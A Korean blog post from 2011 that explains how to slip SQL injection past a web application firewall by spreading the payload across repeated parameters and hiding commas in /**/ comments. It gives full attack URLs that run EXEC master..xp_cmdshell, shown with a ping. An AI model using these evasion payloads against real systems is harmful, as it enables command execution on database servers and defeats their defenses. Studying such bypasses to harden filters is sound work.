블로그   태그   위치로그   이웃로그   방명록
          
 
 
 
 
     
 
  Web Application Firewall(WAF)우회 방법  +   [Web Hacking]   |  2011. 6. 27. 13:07
SQL injection 탐지 우회방법
 
IBM Web Application Firewall(WAF)우회 방법으로 소개 되었다.
 
/**/주석을 이용한 우회 방법으로 다중 파라미터를 이용한 새로운 아이디어로 공격 구문을 생성한다.
 
공격자가 공격을 할경우 파라미터 한 개에 모두 입력하여 공격하는 경우가 많다.
이렇게 될경우 WAF에서는 대부분 탐지 될 것이고 이를 우회 하기 위한 방법으로 다중 파라미터와 주석을 이용한 방법을 소개한다.
  
일반적인 한개의 파라미터에 SQL-Injection 공격 구문
http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell &iid= "ping 10.1.1.3" -- 을
이용할 경우 SQL query는'; EXEC master..xp_cmdshell &iid= "ping 10.1.1.3" --가 되며 탐지되어 Block되지 않는다면 정상적인 공격이 될것이다. 
하지만 대부분 웹방화벽은 탐지하고 차단할 것이다.
 
우회방법으로 다중 파라미터를 이용하는 공격 구문은
http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell &iid= "ping 10.1.1.3" --  
이러한 방법으로 여러개의 파라미터를 이용하여 우회 시도를 할 수 있다. 하지만 위의 공격 구문은 
'; EXEC master..xp_cmdshell , "ping 10.1.1.3" -- 로 Qurey 사이에 ","가 들어가서 정상적으로 SQL Query가 실행되지 않는다.
또한 한 파라미터에 EXEC xp_cmdshell이 같이 들어갈 경우 탐지 되는 경우도 많이 있기 때문에 분리해 주어야 한다.

다중 파라미터와 주석을 이용한 탐지 시스템 우회 방법은
http://sitename/find_ta_def.aspx?id=2571&iid='; /*&iid=1*/ EXEC /*&iid=1*/ master..xp_cmdshell /*&iid=1*/ "ping 10.1.1.3" /*&iid=1*/ --  
와 같은 공격 구문을 이용하면 우회 할 수 있다.
위 공격 구문은 '; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ "ping 10.1.1.3" /*,1*/ --가 될 것이다. 
이렇게 될경우 /**/사이는 주석으로 인식되어 한 파라미터 EXEC xp_cmdshell 탐지 시그니처와 ","문제를 동시에 해결하여
EXEC master..xp_cmdshell "ping 10.1.1.3" --공격 Query를 실행할 수 있게 된다.

또한 /**/를 사용하여 공격을 하경우 입력된 파라미터의 공백을 제거하는 trim함수 또한 우회하여 공격 구문을 실행 시킬 수 있다.

 
믹시 대한민국 No.1 무료 개인 홈페이지 사이트 순위

  
 
   

gooja's Blog is powered by Daum & tistory